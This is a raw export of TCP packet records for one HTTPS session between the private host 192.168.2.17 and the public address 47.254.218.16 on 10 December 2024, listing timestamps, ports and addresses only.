Dec 10, 2024 12:48:38.865238905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.865261078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.871018887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.871042967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.871100903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.871107101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.871148109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.876184940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.876204014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.876254082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.876259089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.876291037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.882381916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.882405043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.882468939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.882477999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.882515907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.887916088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.887936115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.887986898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.887990952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.888025999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.888622999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.897053003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.897079945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.897134066 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.897140026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.897176027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.900813103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.900830984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.900875092 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.900878906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.900913000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.905267954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.905287027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.905344009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.905349016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:38.905385971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:38.924329996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.057043076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.057069063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.057173014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.057188034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.057224989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.063052893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.063069105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.063136101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.063142061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.063184023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.068317890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.068334103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.068396091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.068403959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.068447113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.074342012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.074359894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.074417114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.074425936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.074465036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.078449965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.079931021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.079946041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.080007076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.080028057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.080066919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.085834026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.085850954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.085918903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.085928917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.085973978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.090280056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.091996908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.092015028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.092067957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.092072964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.092120886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.097435951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.097451925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.097508907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.097517014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.097556114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.137933969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.249321938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.249347925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.249430895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.249459982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.249605894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.255223036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.255250931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.255290031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.255297899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.255321980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.255345106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.260586023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.260606050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.260653019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.260660887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.260684013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.260706902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.266554117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.266575098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.266637087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.266659975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.266763926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.271239996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.272123098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.272150040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.272182941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.272191048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.272221088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.272239923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.278100014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.278119087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.278167963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.278173923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.278218985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.283266068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.283979893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.283997059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.284040928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.284048080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.284084082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.289288044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.289311886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.289350033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.289357901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.289381981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.289407969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.330811977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.442011118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.442034006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.442243099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.442256927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.442312956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.447155952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.447171926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.447226048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.447240114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.447283983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.453052998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.453069925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.453128099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.453141928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.453182936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.459085941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.459101915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.459167004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.459173918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.459219933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.459342957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.464729071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.464745998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.464818954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.464831114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.464874029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.470689058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.470706940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.470757008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.470762968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.470789909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.470810890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.471419096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.475995064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.476011038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.476068974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.476078033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.476118088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.481965065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.481980085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.482028008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.482036114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.482074976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.521173954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.634164095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.634187937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.634238005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.634258986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.634285927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.634305000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.639360905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.639377117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.639441013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.639448881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.639492989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.645440102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.645456076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.645509958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.645517111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.645561934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.651329041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.651344061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.651401043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.651406050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.651453018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.653845072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.656918049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.656933069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.656976938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.656981945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.657007933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.657027006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.662978888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.663009882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.663064003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.663069963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.663113117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.665654898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.668299913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.668315887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.668375015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.668380976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.668438911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.713291883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.821198940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.821228027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.821331978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.821357965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.821423054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.825977087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.825993061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.826047897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.826064110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.826118946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.832024097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.832040071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.832091093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.832108974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.832153082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.837994099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.838010073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.838067055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.838088036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.838130951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.843178034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.843199015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.843236923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.843260050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.843275070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.843298912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.843331099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.849560976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.849581003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.849623919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.849646091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.849658966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.849689960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.854765892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.854789972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.854856014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.854866028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.854912996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.860842943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.860860109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.860918999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.860927105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:39.860970974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:39.867886066 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.013334990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.013359070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.013448954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.013470888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.013516903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.018275023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.018301964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.018336058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.018342018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.018373013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.018387079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.024202108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.024224043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.024277925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.024282932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.024323940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.030226946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.030250072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.030302048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.030306101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.030354977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.035474062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.035494089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.035551071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.035557032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.035597086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.041858912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.041877985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.041912079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.041918993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.041940928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.041966915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.047044039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.047064066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.047120094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.047125101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.047167063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.047399998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.053628922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.053649902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.053702116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.053715944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.053761959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.107424021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.205491066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.205524921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.205694914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.205724955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.205775023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.210422993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.210443974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.210484982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.210496902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.210521936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.210542917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.216334105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.216351032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.216412067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.216435909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.216480970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.222369909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.222393036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.222449064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.222455978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.222500086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.227632046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.227649927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.227698088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.227706909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.227751017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.230334997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.233953953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.233971119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.234034061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.234041929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.234086037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.239422083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.239439964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.239490032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.239495993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.239542007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:40.245248079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:40.245264053 CET	443	49729	47.254.218.16	192.168.2.17
